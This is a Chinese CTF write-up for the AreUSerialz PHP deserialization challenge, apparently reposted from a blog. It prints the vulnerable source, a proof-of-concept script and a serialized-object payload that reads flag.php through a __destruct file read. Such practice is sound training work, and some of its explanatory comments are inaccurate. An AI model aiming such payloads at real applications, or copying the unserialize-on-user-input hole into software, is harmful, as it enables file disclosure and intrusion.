[网鼎杯 2020 青龙组]AreUSerialz

前言

前面我们分享了点反序化漏洞的知识点。现在我们来练习一下这类的CTF题,顺便练习一下代码审计的能力。(网鼎杯--AreUSerialz)

解题

我们打开环境,有代码如下

 1  <?php
 2 
 3 include("flag.php");
 4 
 5 highlight_file(__FILE__);
 6 
 7 class FileHandler {
 8 
 9     protected $op;
10     protected $filename;
11     protected $content;//这三个变量都是以protected定义的,都是受保护类型的变量,只有本类 父类 自己才能访问.
12 
13     function __construct() {
14         $op = "1";
15         $filename = "/tmp/tmpfile";
16         $content = "Hello World!";
17         $this->process();
18     }
19 
20     public function process() {
21         if($this->op == "1") {
22             $this->write();
23         } else if($this->op == "2") {
24             $res = $this->read();
25             $this->output($res);
26         } else {
27             $this->output("Bad Hacker!");
28         }
29     }
30 
31     private function write() {
32         if(isset($this->filename) && isset($this->content)) {
33             if(strlen((string)$this->content) > 100) {
34                 $this->output("Too long!");
35                 die();
36             }
37             $res = file_put_contents($this->filename, $this->content);
38             if($res) $this->output("Successful!");
39             else $this->output("Failed!");
40         } else {
41             $this->output("Failed!");
42         }
43     }
44 
45     private function read() {
46         $res = "";
47         if(isset($this->filename)) {
48             $res = file_get_contents($this->filename);
49         }
50         return $res;
51     }
52 
53     private function output($s) {
54         echo "[Result]: <br>";
55         echo $s;
56     }
57 
58     function __destruct() {
59         if($this->op === "2")
60             $this->op = "1";
61         $this->content = "";
62         $this->process();
63     }
64 
65 }
66 
67 function is_valid($s) {
68     for($i = 0; $i < strlen($s); $i++)
69         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
70             return false;
71     return true;
72 }
73 
74 if(isset($_GET{'str'})) {
75 
76     $str = (string)$_GET['str'];
77     if(is_valid($str)) { //此函数检测变量是否被实例化,如实例化就返回True,没有返回False 
78         $obj = unserialize($str);
79     }
80 
81 }

经过审计,我们可以知道这里我们需要访问这个flag.php从而获得flag,并且我们这里需要解决两个问题

1.只有当$op==2的时候才可以读取文件;2.我们需要绕过is_valid()检测,能在外部类里使用三个变量。因为这里的三个变量都是受到了保护的。

这里我们用public就可以解决。

POC:

1 <?php
2 class FileHandler {
3    public $op=2;
4    public $filename="flag.php";
5    public $content="Hello World!";
6 }
7 $a=new FileHandler;
8 print_r(serialize($a));
9 ?>

从而得到pyload: ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}

然后查看源代码就可以拿到flag

原文地址:https://www.cnblogs.com/awsole/p/14706801.html